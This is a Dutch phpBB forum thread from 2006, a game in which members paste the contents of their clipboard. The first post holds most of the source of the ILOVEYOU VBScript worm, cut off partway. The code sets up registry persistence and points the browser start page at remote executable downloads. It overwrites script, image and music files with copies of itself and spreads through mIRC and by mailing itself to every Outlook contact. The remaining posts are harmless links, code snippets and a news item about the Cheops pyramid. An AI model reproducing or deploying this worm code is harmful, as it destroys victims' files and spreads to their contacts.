[ SPEL ] Wat zit er onder CTRL+V?

em barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft
Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnw ... UGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladj ... UGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkc ... UGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfj ... UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will
corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not
run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from
me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="

hendry · Bericht door **hendry** » 01 feb 2006, 20:04

LoYaL [niks persoonlijks hoor]

XGE_Lithium · Bericht door **XGE_Lithium** » 01 feb 2006, 20:05

http://www.phpbbhacks.com/download/5047

Bericht door **Paul** » 01 feb 2006, 20:09

LPCWSTR value = "Software";
RegGetValue(HKEY_CURRENT_USER,value,"",RRF_RT_ANY,NULL,strin,NULL);

wizzzzzzzz · Bericht door **wizzzzzzzz** » 01 feb 2006, 20:33

http://www.hetpraathuis.nl/viewtopic.php?p=32609#32609

svenn · Bericht door **svenn** » 01 feb 2006, 20:41

<a href="search.php?search_keywords={KEYWORD}"/>{KEYWORD}</a>

Tiger · Bericht door **Tiger** » 02 feb 2006, 07:28

http://www.phpbb.com/phpBB/viewtopic.php?t=329629

monique · Bericht door **monique** » 02 feb 2006, 10:00

Piramide van Cheops ontsnapte twee eeuwen geleden aan afbraak

De piramide van Cheops, de grootste van Egypte
en een van de laatste wereldwonderen, werd twee eeuwen
geleden bijna afgebroken. De stenen van het bouwwerk konden
dienen voor de bouw van een stuwdam op de Nijl.

De krant Al Ahram heeft dinsdag onuitgegeven documenten gepubliceerd
over de geschiedenis van de irrigatie in Egypte. Daaruit blijkt dat Mehemet Ali, die in 1805 werd aangeduid als gouverneur van Egypte, beslist had dat
de piramide moest worden ontmanteld.

Ali wordt beschouwd als de stichter van het moderne Egypte.
Hij was de grondlegger van modernisatieprojecten in het vervoer,
onderwijs, landbouw en stedenbouwkunde.

Stuwdam
Volgens de historische documenten had Mehemet Ali aan een Franse ingenieur gevraagd om een stuwdam op de Nijl te bouwen en daarvoor de grote stenen van de piramide van Cheops te gebruiken. Met een hoogte van 147 meter was die piramide tot de 19de eeuw het hoogste monument.

Ze werd opgetrokken voor farao Cheops. Vandaag is het bouwwerk
nog steeds een van de belangrijkste toeristische trekpleisters van Egypte.

De Egyptische krant stelt dat de ingenieur, waarschijnlijk Linant,
met de hulp van de Franse consul geprobeerd heeft om Ali te doen
terugkomen op zijn beslissing en de piramide te sparen.

De ingenieur zei dat het transport van de piramidestenen veel te duur
zou zijn en dat er stenen voorhanden waren nabij de plaats waar
de dam moest worden gebouwd. Mehemet Ali kon worden
overtuigd en de piramide bleef heel.

De stenen voor de dam van Qanatir kwamen uiteindelijk
van de steengroeve van Shalkan, 25 kilometer ten noorden van Kairo.

Bron: HLN
en http://www.niburu.nl

-=|Rik|=- · Bericht door **-=|Rik|=-** » 02 feb 2006, 19:41

Code: Selecteer alles

##   2005/02/02 - Version 1.3.0
##   - Rewrote parts of the code
##   - Started using constants
##   - Changed basic off value from -1 to 0
##   - Checked compatibility with 2.0.18 and 2.0.19
##   - Added a dropdown box in the ACP for forum selection
##   - Removed French translation because I can't maintain it anymore
##   - Rewrote admin panel texts and configuration to make it more logical.
##   - Changed installation file to comply with template

Versie 1.3.0 is uit

Klik hier voor de beginpost met de download link.

Xanland · Bericht door **Xanland** » 02 feb 2006, 21:24

Categories Hierarchy instellingen

Bericht door **Paul** » 02 feb 2006, 21:25

Xanland schreef:Ik moet gaan slapen .

TimJudo · Bericht door **TimJudo** » 02 feb 2006, 23:12